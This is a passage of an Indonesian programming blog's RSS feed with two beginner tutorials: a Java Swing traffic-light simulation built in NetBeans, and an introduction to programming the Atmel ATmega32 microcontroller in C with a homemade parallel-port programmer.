“Simulasi Lampu Lalu Lintas” di Netbeans 6.0.1</title><description>&lt;p align=&quot;justify&quot;&gt;Bagi teman-teman yang ingin mencoba buat simulasi, disini saya mencoba membuatkan simulasi Lampu Lalulitas yang sangat sederhana. Mungkin simulasi ini cocok untuk teman yang baru pertama kali mencoba. Banyak perkenalannya, dan mudah. Selamat mencoba dan semoga bermanfaat. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Membuat program di NetBeans lebih mudah dibanding menggunakan alat bantu lain nya,karena NetBeans sudah merupakan IDE (&lt;em&gt;Integrated Development Environment&lt;/em&gt;) + RAD (&lt;em&gt;Rapid Application Development&lt;/em&gt;). &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Bisa dipakai untuk membuat program Aplikasi (standalone), Applet (jalan di web client), Servlet atau Java Server Page (jalan di web server). Di blog yang akan dipraktekkan yaitu Java Applet dan Java Aplikasi. Program aplikasi biasanya digunakan untuk membuat program yang berhubungan dengan database. Bagi yang mau unduh NetBeans, kunjungi aja &lt;a href=&quot;http://sun.com&quot;&gt;www.sun.com&lt;/a&gt; Misalnya saja kita akan membuat program lampu lalu lintas. Pada penulisan source code, untuk memperjelas penulisan dapat kita tambahkan komentar-komentar. Komentar tidak berpengaruh pada jalannya program, tanda komentar:&lt;/p&gt;  &lt;div align=&quot;justify&quot;&gt;   &lt;pre&gt;   //  &amp;#8230; komentar &amp;#8230;	: digunakan untuk komentar satu baris&lt;br /&gt;   /**  &amp;#8230;komentar&amp;#8230;.  */	: digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan&lt;br /&gt;                          hal yang berhubugan dengan kode atau jalannya program.&lt;br /&gt;  /* &amp;#8230;komentar&amp;#8230;   */	: digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan&lt;br /&gt;                          keterangan diluar kode program seperti penulis, waktu, dll.&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;mulai membuat program Klik menubar File &amp;#8211;&amp;gt; NewProject atau tekan alt + shift + n bersamaan Kemudian akan keluar kolom seperti ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://ccasp.files.wordpress.com/2008/07/12.jpg&quot;&gt;&lt;img height=&quot;223&quot; alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/12.jpg?w=300&amp;amp;h=223&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Pilih &lt;em&gt;Java Application&lt;/em&gt;, klik &lt;em&gt;next&lt;/em&gt; kemudian muncul kolom selanjutnya:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://ccasp.files.wordpress.com/2008/07/2.jpg&quot;&gt;&lt;img height=&quot;142&quot; alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/2.jpg?w=300&amp;amp;h=142&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Isi nama project dengan awalan huruf besar(standar penulisan), tanpa spasi. Jangan lupa untuk &lt;em&gt;Uncentang&lt;/em&gt; &amp;#8220;Create main Classnya&amp;#8221;. Jadi deh, project kosong kita&amp;#8230;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://ccasp.files.wordpress.com/2008/07/3.jpg&quot;&gt;&lt;img height=&quot;189&quot; alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/3.jpg?w=300&amp;amp;h=189&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Seperti pada gambar, klik kanan pada project kita tadi, kemudian plih &lt;em&gt;New &amp;#8211;&amp;gt; JFrame Form&lt;/em&gt; , artinya kita akan membuat kelas frame baru.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://ccasp.files.wordpress.com/2008/07/4.jpg&quot;&gt;&lt;img height=&quot;121&quot; alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/4.jpg?w=300&amp;amp;h=121&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Isikan datanya, jangan lupa nama kelas dengan awalan huruf kapital, supaya standar&amp;#8230; Kemudian isi &lt;em&gt;packagenya&lt;/em&gt;, misalnya yang saya isikan &amp;amp;quotLatihan.Blog&amp;#8221;, berarti saya akan menyimpan kelas JFrame tadi di direktori &amp;amp;quotsrc/Latihan/Blog&amp;#8221; , dengan begitu kita dapat mengelompokkan kelas-kelas mana saja yang sejenis dalam satu direktori sehingga mempermudah kita jika kita ingin menggunakan kelas tersebut pada project lain dengan mengimport kelas tersebut. Lumayan lah, menghemat mengetiknya&amp;#8230;hehe&amp;#8230; Setelah itu, bisa kita lihat ada &lt;em&gt;Frame&lt;/em&gt; kosong. Inilah kehebatan dari GUI (&lt;em&gt;Graphics User Interface&lt;/em&gt;), tinggal klik dan drop. Kita akan menambahkan komponen-komponen yang diperlukan :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/5.jpg&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Bisa teman coba-coba tinggal &lt;em&gt;drag &amp;amp; drop&lt;/em&gt; dari kolom sebelah kanan. Semua itu Objek. Ada Objek tombol, panel, text, dll. Kalau mau di ubah textnya, tinggal rename atau klik kanan, &lt;em&gt;Edit Text&lt;/em&gt; sedangkan yang berhubungan dengan input-output, lebih baik diubah nama variabelnya, agar mempermudah aksesnya dengan cara klik kanan, &lt;em&gt;Change Variable Name&amp;#8230;&lt;/em&gt;, untuk menghilangkan keambiguan dan mencocokkan dengan teman2 variabel atau nama objek yang saya gunakan:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&amp;#160;&lt;img alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/6.jpg&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Nama objek ditulis dengan huruf kecil standarnya&amp;#8230; kemudian pilih nama objek yang mudah di ingat sehingga bisa membedakan objek secara cepat. Selesai juga interfacenya, kalau mau di ubah-ubah atau dikasih gambar-gambar atau icon, warna, tinggal ubah-ubah menu di kotak sebelah kanan bawah, di &lt;em&gt;Properties&lt;/em&gt;. Kemudian, kita mulai dengan koding2 deh&amp;#8230; Klik pada bagian source, dan yah kita dapatkan lahan buat koding2&amp;#8230;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/7.jpg&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Semua objek dari kelas Radio Button pada propertiesnya bagian &lt;em&gt;enabled&lt;/em&gt; agar di &lt;em&gt;uncentang&lt;/em&gt; agar tidak dapat diubah.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/8.jpg&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Kemudian, klik Button Ubah, lihat kotak kanan bawah, bagian &lt;em&gt;Events&lt;/em&gt;, di bagian &lt;em&gt;Events&lt;/em&gt; inilah kita dapat memberikan kelakuan-kelakuan untuk objek. Klik &lt;em&gt;Action Performed &amp;#8211;&amp;gt; Enter&amp;#8230; &lt;/em&gt;Yah disini kita menuliskan kode apa saja yang terjadi ketika tombol ubah ini diklik.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Tambahkan juga even &lt;em&gt;Mouse Entered&lt;/em&gt; dan &lt;em&gt;Mouse Exited&lt;/em&gt;. Kemudian, isikan kodenya hingga bagian sourcenya seperti ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;/*&lt;br /&gt; * MainFrame.java&lt;br /&gt; *&lt;br /&gt; * Created on July 26, 2008, 3:14 PM&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;package Latihan.Blog;&lt;br /&gt;&lt;br /&gt;import java.awt.Color;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * @cca&lt;br /&gt; */&lt;br /&gt;&lt;strong&gt;public class MainFrame extends javax.swing.JFrame&lt;/strong&gt; {&lt;br /&gt;&lt;br /&gt;int a =2;   //pesan variable a&lt;br /&gt;&lt;br /&gt;    /** Creates new form MainFrame */&lt;br /&gt;    public MainFrame() {&lt;br /&gt;&lt;br /&gt;        initComponents();   //memasang atau mengompile objek-objek&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;//bagian ini tidak dapat di ubah&lt;br /&gt;    /** This method is called from within the constructor to&lt;br /&gt;     * initialize the form.&lt;br /&gt;     * WARNING: Do NOT modify this code. The content of this method is&lt;br /&gt;     * always regenerated by the Form Editor.&lt;br /&gt;     */&lt;br /&gt;   Generated code..&lt;br /&gt;&lt;br /&gt;//yang terjadi ketika tombol ubah ditekan&lt;br /&gt;&lt;br /&gt;    private void bGantiActionPerformed(java.awt.event.ActionEvent evt) {&lt;br /&gt;        // TODO add your handling code here:&lt;br /&gt;&lt;br /&gt;        a++;     //nilai a terus bertambah satu setiap di tekan&lt;br /&gt;//if conditional, bagian ini mengatur warna lampu dan radio button       &lt;br /&gt;&lt;br /&gt;        if(a%3 == 0){&lt;br /&gt;                     pMerah.setBackground(Color.GRAY);      //set warna&lt;br /&gt;                     pHijau.setBackground(Color.GREEN);&lt;br /&gt;                     rbStop.setSelected(false);     //seleksi yang tidak aktif&lt;br /&gt;                     rbGo.setSelected(true);	      //seleksi yang aktif&lt;br /&gt;                               }&lt;br /&gt;&lt;br /&gt;         else if(a%3 == 1){&lt;br /&gt;                     pHijau.setBackground(Color.GRAY);&lt;br /&gt;                     pJingga.setBackground(Color.ORANGE);&lt;br /&gt;                     rbGo.setSelected(false);&lt;br /&gt;                     rbHati2.setSelected(true);&lt;br /&gt;                 }&lt;br /&gt;&lt;br /&gt;          else {&lt;br /&gt;                     pJingga.setBackground(Color.GRAY);&lt;br /&gt;                     pMerah.setBackground(Color.RED);&lt;br /&gt;                     rbHati2.setSelected(false);&lt;br /&gt;                     rbStop.setSelected(true);&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  &lt;strong&gt;private void bGantiMouseEntered(java.awt.event.MouseEvent evt) &lt;/strong&gt;{&lt;br /&gt;        // TODO add your handling code here:&lt;br /&gt;     setCursor(Cursor.HAND_CURSOR);     //saat kursor masuk area tombol, kursor berubah bentuk&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;  private void bGantiMouseExited(java.awt.event.MouseEvent evt) &lt;/strong&gt;{&lt;br /&gt;    // TODO add your handling code here:&lt;br /&gt;    setCursor(Cursor.DEFAULT_CURSOR);   //saat kursor kelua area tombol, kursor kembali seperti semula&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * @ param args the command line arguments&lt;br /&gt;     */&lt;br /&gt; Dst...&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Pastikan bagian ini, pada gambar atas sebelah kanan, berwarna hijau yang menandakan tidak ada masalah, dan bagian tab bawah, tab run, pastikan tidak ada tulisa error dan tidak ada tulisan berwarna biru, yang berarti warning, yang terkadang membuat program kita jadi aneh, gak jalan, dst&amp;#8230;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://ccasp.files.wordpress.com/2008/07/10.jpg&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Lalu, run project kita, tekan gambar segitiga hijau di kanan atas (run) atau tekan F6&amp;#8230; Jadi deh program kita&amp;#8230;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Gimana&amp;#8230;.??? Pada program ini kita masih belum memanfaatkan fitur-fitur java. Kita hanya gunakan satu kelas, belum rumit sehingga ketidakberadaan kelas belum kita rasakan.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://ccasp.wordpress.com/2008/07/28/membuat-program-untuk-pemula-java-aplikasi-simulasi-lampu-lalu-lintas-di-netbeans-601/&quot; target=&quot;_blank&quot;&gt;ccasp.wordpress.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:8f051db6-7929-426a-8309-46d8531aaec6&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/javascript&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/simulasi&quot; rel=&quot;tag&quot;&gt;simulasi&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/programming&quot; rel=&quot;tag&quot;&gt;programming&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/membuat-program-untuk-pemula-java.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2410097445932936871</guid><pubDate>Thu, 21 Aug 2008 13:11:00 +0000</pubDate><atom:updated>2008-08-21T20:11:53.917+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">C</category><title>Dasar:Mikrokontroller Atmel AVR 8 bit</title><description>&lt;p align=&quot;justify&quot;&gt;Atmel Semiconductor sudah mengeluarkan mikrokontroller seri AVR 8 bit yang menurut saya memiliki banyak keunggulan dibandingkan seri 89C51. Keunggulan tersebut antara lain (perbandingan dengan ATMEGA32):&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;1. Variannya sangat banyak, mulai dari yang 8 pin sampai 64 pin    &lt;br /&gt;2. Memiliki internal EPROM, anda tidak perlu lagi memakai batere untuk mem-backup isi RAM     &lt;br /&gt;3. Memiliki 8 channel ADC 10 bit     &lt;br /&gt;4. Memiliki internal oscilator, sehingga bisa dikonfigurasikan tanpa Xtal.     &lt;br /&gt;5. Ram internal 2kb (bandingkan 89C51 yang hanya 128byte)     &lt;br /&gt;6. 32KB EEPROM untuk program (89C51 hanya 4kb)     &lt;br /&gt;7. Internal watch dog. Nah ini penting, sehingga bisa mencegah sistem hang     &lt;br /&gt;8. Brown-out detector, juga mencegah hang.     &lt;br /&gt;9. In-system programming, tidak perlu programmer khusus     &lt;br /&gt;10. Punya port SPI, I2C     &lt;br /&gt;11. Arsitektur RISC, 1 instruksi hanya dilaksanakan 1 clock, bandingkan 89C51 membutuhkan 6-12 clock.     &lt;br /&gt;12. Dan yang paling penting:Development tools, cross compiler (C) gratis! Bandingkan dengan 89C51 harus memakai Frankln Cross Compiler yang harganya selangit...&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt;   &lt;p align=&quot;justify&quot;&gt;Untuk developmentnya, saya biasanya memakai bahasa C, karena kalau memakai assembly, rumit banget dan memusingkan (menurut saya...) Dengan memakai bahasa C, pemrograman menjadi sangat mudah dan cepat. Kalau mau mencoba memakai bahasa Pascal, bisa juga, silahkan cek www.mikroe.com      &lt;br /&gt;Jadi, tinggalkan kebiasaan lama memakai bahasa Assembler untuk pemrograman mikrokontroller, gunakan bahasa C jika anda ingin development yang cepat dan mudah... Gratis juga kan?       &lt;br /&gt;Tertarik? Sekarang mari kita persiapkan tools nya yang gratis itu:       &lt;br /&gt;Software di PC:       &lt;br /&gt;1. AvrStudio Versi 4.13 Build 571 (ini yang saya pakai), silahkan download di www.atmel.com       &lt;br /&gt;2. WinAVR Versi 20071221, download di www.sourceforge.net atau search menggunakan google, keyword WinAVR       &lt;br /&gt;3. PonyProg2000 download di http://ponyprog.sourceforge.net       &lt;br /&gt;Catatan:       &lt;br /&gt;WinAVR dengan nama avr-gcc tersedia juga di linux, cuma saya belum mencobanya.       &lt;br /&gt;Programmer:       &lt;br /&gt;Untuk programmernya kita harus membeli Universal Programmer seharga 10 Juta-an... Kaget? Enggak kok, cuma harus menyiapkan uang sekitar 10 ribu untuk:       &lt;br /&gt;1. DB25 Female       &lt;br /&gt;2. 4 buah resistor 100 ohm       &lt;br /&gt;3. Konektor 6 pin, bisa memakai Header 6 pin       &lt;br /&gt;4. Kabel isi banyak kurang lebih 1meter (atau kabel pita)       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipDkdFsRjCNZbWOYkbVOSOpsh94uyQnPTKWBfdZtT0G3c0xpSfA6dFCGBsSKkED0-lvKFw9RZkdtcRtsXjrhue5dprIsOCdSIAwVMlWOdoNXMS4nQD3GnkcD0a4WWZJwIdHfL4Sj0vIC5R/s1600-h/ponyprog_sch.png&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipDkdFsRjCNZbWOYkbVOSOpsh94uyQnPTKWBfdZtT0G3c0xpSfA6dFCGBsSKkED0-lvKFw9RZkdtcRtsXjrhue5dprIsOCdSIAwVMlWOdoNXMS4nQD3GnkcD0a4WWZJwIdHfL4Sj0vIC5R/s320/ponyprog_sch.png&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;Konektor DB25 adalah konektor yang dicolokkan ke paralel port untuk memprogram. Nah, dalam proses programmingnya, setiap PCB (atau desain) yang anda buat memakai mikrokontroller AVR, harus menyiapkan konektor 6 pin yang terhubung ke:       &lt;br /&gt;1. GROUND       &lt;br /&gt;2. Reset (Pin 9 pada ATMEGA32)       &lt;br /&gt;3. Not connected       &lt;br /&gt;4. SCK (Pin 8 pada ATMEGA32)       &lt;br /&gt;5. MISO (Pin 7 pada ATMEGA32)       &lt;br /&gt;6. MOSI (Pin 6 pada ATMEGA32)       &lt;br /&gt;Sekarang kita buat rangkaian yang paling sederhana, setidaknya kita bisa meyakinkan bahwa seluruh proses mulai dari pembuatan software sampai memprogram AVR berjalan dengan lancar.       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGOBJs-UA9rbHgAXzBQRUllojmZVRM1PjB0DpzYZ8UZZfQmzPp8fYkmf46fyvUy835wVoKRWhwjOfUXnNIj7Aybcgx7CgLF4IHNkTHQLMNttuaxDRHNvyOJ_u1y-js0bKaJ02OpQ9PYvY4/s1600-h/atmega32.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGOBJs-UA9rbHgAXzBQRUllojmZVRM1PjB0DpzYZ8UZZfQmzPp8fYkmf46fyvUy835wVoKRWhwjOfUXnNIj7Aybcgx7CgLF4IHNkTHQLMNttuaxDRHNvyOJ_u1y-js0bKaJ02OpQ9PYvY4/s320/atmega32.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;Rangkaian sederhana ATMEGA32:       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoWSSikgP8MXX6oMf53BrmQoxIlj4s2U8GNkyP7xhc2VSrzkBXrWV4KoAomKAHRBB3rZyILv8_3hFCV46cCYQFM4Ksb3i8Tj47T8vjFbJ4HI1beG9B4NQBZ8MkYzebskDs1ViFjA6_gDgg/s1600-h/sap-mega32.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoWSSikgP8MXX6oMf53BrmQoxIlj4s2U8GNkyP7xhc2VSrzkBXrWV4KoAomKAHRBB3rZyILv8_3hFCV46cCYQFM4Ksb3i8Tj47T8vjFbJ4HI1beG9B4NQBZ8MkYzebskDs1ViFjA6_gDgg/s320/sap-mega32.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;Rangkaiannya mirip dengan 89C51, Xtalnya juga bisa memakai standar 89C51, cuma capasitor xtalnya 22pF. Rangkaian ini berfungsi untuk menyalakan 3 buah LED saja karena tujuan kita adalah menguji apakah ATMEGA32 ini bisa berfungsi atau tidak.       &lt;br /&gt;Untuk power supply, gunakan 5 Volt, bisa menggunakan LM2576, 7805 atau sumber tegangan lainnya, hanya jangan sampai lebih dari 5.5 Volt karena dapat mengakibatkan ATMEGA32 rusak.       &lt;br /&gt;Mari kita desain software yang bisa menyalakan ketiga led tersebut bergantian tahap demi tahap.       &lt;br /&gt;Pembuatan Software ATMEGA32       &lt;br /&gt;1. Install AvrStudio yang sudah didownload       &lt;br /&gt;2. Install WinAVR       &lt;br /&gt;3. Install PonyProg2000       &lt;br /&gt;Apabila semuanya sudah diinstall, silahkan buka software AVRSTUDIO nya.       &lt;br /&gt;1. Pilih Project &amp;#8211; New Project       &lt;br /&gt;2. Pilih AvrGCC dan nama project, serta folder project itu disimpan. Lihat gambar dibawah:       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0yO5x6Pofxh9JUx52_kytAl40mmuYh_C9PvlQg7Ht59x0hyphenhyphenF1fX4EjU-4TEmxeY6TlJnY6xMxK-jedPwqlc4oZ7FCxwJaa6LqWMxWzBGvLfdzc6-i6xprG7VYhSptGwDsda5DX9w0LIuV/s1600-h/avr1.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0yO5x6Pofxh9JUx52_kytAl40mmuYh_C9PvlQg7Ht59x0hyphenhyphenF1fX4EjU-4TEmxeY6TlJnY6xMxK-jedPwqlc4oZ7FCxwJaa6LqWMxWzBGvLfdzc6-i6xprG7VYhSptGwDsda5DX9w0LIuV/s320/avr1.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;Opsi Create Folder akan membuat satu folder baru untuk project yang akan kita buat. Untuk projectnya, saya beri nama:testpertama. AVRStudio akan membuat folder testpertama di My Documents       &lt;br /&gt;3. Klik Next       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFRGwi9EROCchAO8jou5Yv9leH88wcW1RBCrs3aHzx3T9MWNzypV2owMLmBjeS_wwvgmVV9oltK8RefgxwDp7HZYSeCtesGslNw5P85XEs_i4V-vO_uPwZMjTGVM0tomcQeTKPSXRXf_jv/s1600-h/avr2.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFRGwi9EROCchAO8jou5Yv9leH88wcW1RBCrs3aHzx3T9MWNzypV2owMLmBjeS_wwvgmVV9oltK8RefgxwDp7HZYSeCtesGslNw5P85XEs_i4V-vO_uPwZMjTGVM0tomcQeTKPSXRXf_jv/s320/avr2.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;4. Pilih Debug Platform:AVR Simulator dan ATmega32 pada Device.       &lt;br /&gt;5. Klik Finish       &lt;br /&gt;6. Klik Project &amp;#8211; Configuration Option       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvLx5st1K84UQziiec83Q9jI9YKfNyYVmY3-lLpsxivLb5sLJcYdrNXMCX78mSf01gMCuqjOVTLmc3cgA3ro6LJCRJerbqq7fr32y4k8h1vvsaERCjjGLFOPCZhb14xrOD9zlvLksa_qW_/s1600-h/avr3.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvLx5st1K84UQziiec83Q9jI9YKfNyYVmY3-lLpsxivLb5sLJcYdrNXMCX78mSf01gMCuqjOVTLmc3cgA3ro6LJCRJerbqq7fr32y4k8h1vvsaERCjjGLFOPCZhb14xrOD9zlvLksa_qW_/s320/avr3.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;7. Pilih opsi seperti gambar diatas. Frequency diisi dengan 11059200 hz. Optimization pilih O0 (tanpa optimasi).       &lt;br /&gt;8. Klik Ok       &lt;br /&gt;9. Sekarang anda telah siap untuk menuliskan source codenya:       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_dtLdPYmha1nHZYOomUKBiIcPgaJLQL99z4Yse2lf_TUDX3vBg13bBHzZHKvuLOK4_uj63DF_QLEnQs96H91EkK99QOOhD6u1aLQkCwHBSp1NvhWGv0IN9zFJV8yj_mL3Pz683tAJ8_HJ/s1600-h/avr4.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_dtLdPYmha1nHZYOomUKBiIcPgaJLQL99z4Yse2lf_TUDX3vBg13bBHzZHKvuLOK4_uj63DF_QLEnQs96H91EkK99QOOhD6u1aLQkCwHBSp1NvhWGv0IN9zFJV8yj_mL3Pz683tAJ8_HJ/s320/avr4.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;10. Isi source code dengan:       &lt;br /&gt;#include &amp;lt; avr/io.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/interrupt.h &amp;gt;       &lt;br /&gt;#include &amp;lt; inttypes.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/iom32.h &amp;gt;       &lt;br /&gt;#include &amp;lt; stdio.h &amp;gt;       &lt;br /&gt;#include &amp;lt; math.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/pgmspace.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/eeprom.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/wdt.h &amp;gt;       &lt;br /&gt;int main(void)       &lt;br /&gt;{       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;PORTC=0x01;       &lt;br /&gt;while (1);       &lt;br /&gt;}       &lt;br /&gt;Gunakan source code diatas sebagai tempate apabila anda akan membuat software pada platform ATMEGA32. Memang saat ini tidak semua header pada include dipergunakan, tetapi tidak masalah apabila dimasukkan sebagai template.       &lt;br /&gt;Pada bahasa C, awal eksekusi adalah pada fungsi main(void), fungsi dari masing-masing perintah tersebut adalah:       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;Berfungsi untuk memberitahu ATMEGA32 bahwa PORTC akan dipakai untuk OUTPUT. Silahkan baca datasheet ATMEGA32 mengenai DDR (Data Direction Register)       &lt;br /&gt;PORTC=0x01;       &lt;br /&gt;Adalah perintah untuk memprogram PORTC agar berisi 01 hexa (00000001 biner).       &lt;br /&gt;while (1);       &lt;br /&gt;Adalah perintah looping tak berakhir, maksudnya, setelah 2 perintah tersebut dijalankan, sistem akan diam disini.       &lt;br /&gt;11. Klik Build &amp;#8211; Rebuild all       &lt;br /&gt;Apabila dibagian bawah tertulis Build succeded with 0 warnings... berarti proses kompilasi berhasil. Sekarang mari kita isikan hasil kompilasi tersebut ke IC ATMEGA32       &lt;br /&gt;12. Siapkan kabel programmer yang sudah dibuat, colokkan ke Paralel Port       &lt;br /&gt;13. Sambungkan ujung yang lain kabel programmer yang dipasang header 6 pin ke pin 6 &amp;#8211; 9 pada ATMEGA32       &lt;br /&gt;14. Jalankan software PonyProg       &lt;br /&gt;15. Pilih AVRMicro dan ATMEGA32 pada sebelah kanan atas software ponyprog       &lt;br /&gt;16. Pilih Setup-Interface setup dan ikuti setting dibawah:       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiZPGqktZO-OdOvEO3dcUpyNDOO-yHXGdNG5HV5sRPVHVQdP_za6hoYdBpmKFN6qOc6TcKXWD4mq3gJydP5n1AE6pzJK3R1I0hDbBs-Q7rFZsWOCeYCo4DjR11ceRGTf2XNhzRDmHn7EqA/s1600-h/pony1.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiZPGqktZO-OdOvEO3dcUpyNDOO-yHXGdNG5HV5sRPVHVQdP_za6hoYdBpmKFN6qOc6TcKXWD4mq3gJydP5n1AE6pzJK3R1I0hDbBs-Q7rFZsWOCeYCo4DjR11ceRGTf2XNhzRDmHn7EqA/s320/pony1.JPG&quot; border=&quot;0&quot; 